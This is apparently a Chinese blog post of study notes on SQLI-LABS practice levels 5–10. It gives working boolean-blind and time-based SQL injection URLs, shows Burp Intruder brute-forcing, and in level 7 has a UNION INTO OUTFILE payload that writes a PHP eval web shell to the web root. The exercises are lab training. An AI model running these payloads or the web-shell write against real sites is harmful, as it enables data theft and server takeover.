逼话少说,如有错误,烦请指出,谢谢

这两天生病,效率很低

第5关

打开页面

发现跟前几题不同,没有直接返回数据.。

加个单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错信息发现已经被闭合了,那我们就order by 试一下看看

发现能有成功查询会返回 You are in ,而不会返回查询的数据,这题是一题盲注题

盲注就需要我们一个一个的猜字符了,

先构造注入语句

http://10.2.10.31/sqli/Less-5/?id=1' and
ascii(substr(database(),1,1)) > 10 --+

函数不懂的话可以使用搜索引擎查询

原理就是,获取当前的数据库的第一个字符,由于我们之前做了前几题,知道是s

所以我们直接用s来试,节约时间。

发现回显正常,换一个字符就没回显了,就说明s是第一个字符,以此类推获得整个数据库名。

再之后可以查询数据库中表的名称,方法也是一样,我贴一条

http://10.2.10.31/sqli/Less-5/?id=1' and
substr((select table_name from information_schema.tables where table_schema =
'security' limit 0,1),1,1) = 'e' --+

这样推,就可以把这题做出来。

当然,这样是最慢的方法,但是还是要掌握的。

我们可以使用bp的爆破模块来进行爆破。

首先先抓到我们需要的包

我这里就抓查询表的包了,之后把抓到的包发到爆破模块,intruder里面。

由于里面会默认选择爆破的信息,我们需要先点击clear。

选中要爆破的字符

再到payloads里面设置一下字典,这里我们可以选择他自带的字典。

并且修改字符最大值为1,最小值也为1

然后再到options里面设置一下线程。

最后点击start attack 就可以开始了

以此类推。

第五关结束。

第六关

第六关就是把单引号换成双引号,其他的都一样,没区别

第六关结束

第七关

测试注入

http://10.2.10.35/sqli/Less-7/?id=1'

报错,说明可能存在sql注入

继续测试,

当用1=2判断的时候,发现回显正常

最后测试,发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

之后提示要用outfile来写入文件

可以用第一关来帮助我们找到网站的绝对路径

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

http://10.2.10.35/sqli/Less-1/?id=-1'
union select 1,2,@@basedir --+

构造语句如下

http://10.2.10.35/sqli/Less-7/?id=-1'))
union select 1,'<?php @eval($_POST[value]);?>',3 into outfile
'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

遇到写入不了的情况应该是mysq没有设置好

可以在mysql的命令行查看一下secure-file-priv当前的值

show variables like ‘%secure%’;

如果为Null

这则需要打开mysql下的my.ini文件,在其中添加上  secure_file_priv=”/”

之后使用菜刀就可以连接了。

第七关结束

第八关

测试注入点

http://10.2.10.35/sqli/Less-8/?id=1'

发现无回显

http://10.2.10.35/sqli/Less-8/?id=1'
--+

有回显

说明我们已经成功闭合了

就可以按照之前盲注的思路,接着注入就能得到答案

还有一种方法是通过if判断,利用sleep进行时间盲注

构造语句如下

http://10.2.10.35/sqli/Less-8/?id=1' and
if(length(database())>10,1,sleep(5)) 
--+

先判断长度,再用substr函数来判断每一位是什么,这里就不再赘述

第八关结束

第九关

换了一种方式

http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

利用sleep判断是否执行了我们的sql语句

发现成功以后,还是按照之前的方法继续盲注,方法都一样

第九关结束

第十关

第十关就是把单引号换成了双引号,其他的都一样

第十关结束

SQLI-LABS学习笔记(二)的更多相关文章

  1. WPF的Binding学习笔记(二)

    原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...

  2. AJax 学习笔记二(onreadystatechange的作用)

    AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...

  3. [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计

    源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...

  4. JMX学习笔记(二)-Notification

    Notification通知,也可理解为消息,有通知,必然有发送通知的广播,JMX这里采用了一种订阅的方式,类似于观察者模式,注册一个观察者到广播里,当有通知时,广播通过调用观察者,逐一通知. 这里写 ...

  5. java之jvm学习笔记二(类装载器的体系结构)

    java的class只在需要的时候才内转载入内存,并由java虚拟机的执行引擎来执行,而执行引擎从总的来说主要的执行方式分为四种, 第一种,一次性解释代码,也就是当字节码转载到内存后,每次需要都会重新 ...

  6. Java IO学习笔记二

    Java IO学习笔记二 流的概念 在程序中所有的数据都是以流的方式进行传输或保存的,程序需要数据的时候要使用输入流读取数据,而当程序需要将一些数据保存起来的时候,就要使用输出流完成. 程序中的输入输 ...

  7. 《SQL必知必会》学习笔记二)

    <SQL必知必会>学习笔记(二) 咱们接着上一篇的内容继续.这一篇主要回顾子查询,联合查询,复制表这三类内容. 上一部分基本上都是简单的Select查询,即从单个数据库表中检索数据的单条语 ...

  8. NumPy学习笔记 二

    NumPy学习笔记 二 <NumPy学习笔记>系列将记录学习NumPy过程中的动手笔记,前期的参考书是<Python数据分析基础教程 NumPy学习指南>第二版.<数学分 ...

  9. Learning ROS for Robotics Programming Second Edition学习笔记(二) indigo tools

    中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...

  10. Redis学习笔记二 (BitMap算法分析与BitCount语法)

    Redis学习笔记二 一.BitMap是什么 就是通过一个bit位来表示某个元素对应的值或者状态,其中的key就是对应元素本身.我们知道8个bit可以组成一个Byte,所以bitmap本身会极大的节省 ...

随机推荐

  1. Hystrix 使用手册 | 官方文档翻译

    由于时间关系可能还没有翻译全,但重要部分已基本包含 本人水平有限,如有翻译不当,请多多批评指出,我一定会修正,谢谢大家.有关 ObservableHystrixCommand 我有的部分选择性忽略了, ...

  2. Selenium Grid 的使用

    简介 Selenium Grid 是 selenium 的三大组件之一,允许用户同时在不同的机器和系统上测试不同的浏览器,可以分布式的来执行我们的自动化测试,也可以测试不同浏览器的兼容性. Selen ...

  3. 深度使用JSON.stringify()

    按照 JSON 的规范,使用 JSON.stringify() 做对象序列化时,如果一个属性为函数,那这个属性就会被忽略. const data1 = { a: 'aaa', fn: function ...

  4. .Net微服务实践(三):Ocelot配置路由和请求聚合

    目录 配置 路由 基本配置 占位符 万能模板 优先级 查询参数 请求聚合 默认聚合 自定义聚合 最后 在上篇.Net微服务实践(二):Ocelot介绍和快速开始中我们介绍了Ocelot,创建了一个Oc ...

  5. 多线程学习笔记(五)---- 在JDK文档的使用

    1.前言 我们经常在JDK文档中见到一些类上的介绍说,该类是"安全的"."不安全"."效率高"."效率低"的词眼.这里, ...

  6. 1011 World Cup Betting (20 分)

    With the 2010 FIFA World Cup running, football fans the world over were becoming increasingly excite ...

  7. 1008 Elevator (20 分)

    The highest building in our city has only one elevator. A request list is made up with N positive nu ...

  8. 我去,还在这样读写 excel 这也太低效了吧!

    前言 博文地址:https://sourl.cn/SsD3AM 最近读者小 H 给小黑哥发来私信: 小黑哥,最近我在负责公司报表平台开发,需要导出报表到 excel 中.每次使用 POI 开发,都要写 ...

  9. 本地代码上传到git仓库(github)

    准备:拥有自己的github账号:电脑上安装了git; 1.进入github,进入仓库点击NEW(新建仓库) 2.新建仓库 Repository name :仓库名称: Description (op ...

  10. 微信小程序wx.setStorage(OBJECT)

    关于微信小程序的:wx.setStorage(OBJECT)在官网API介绍到: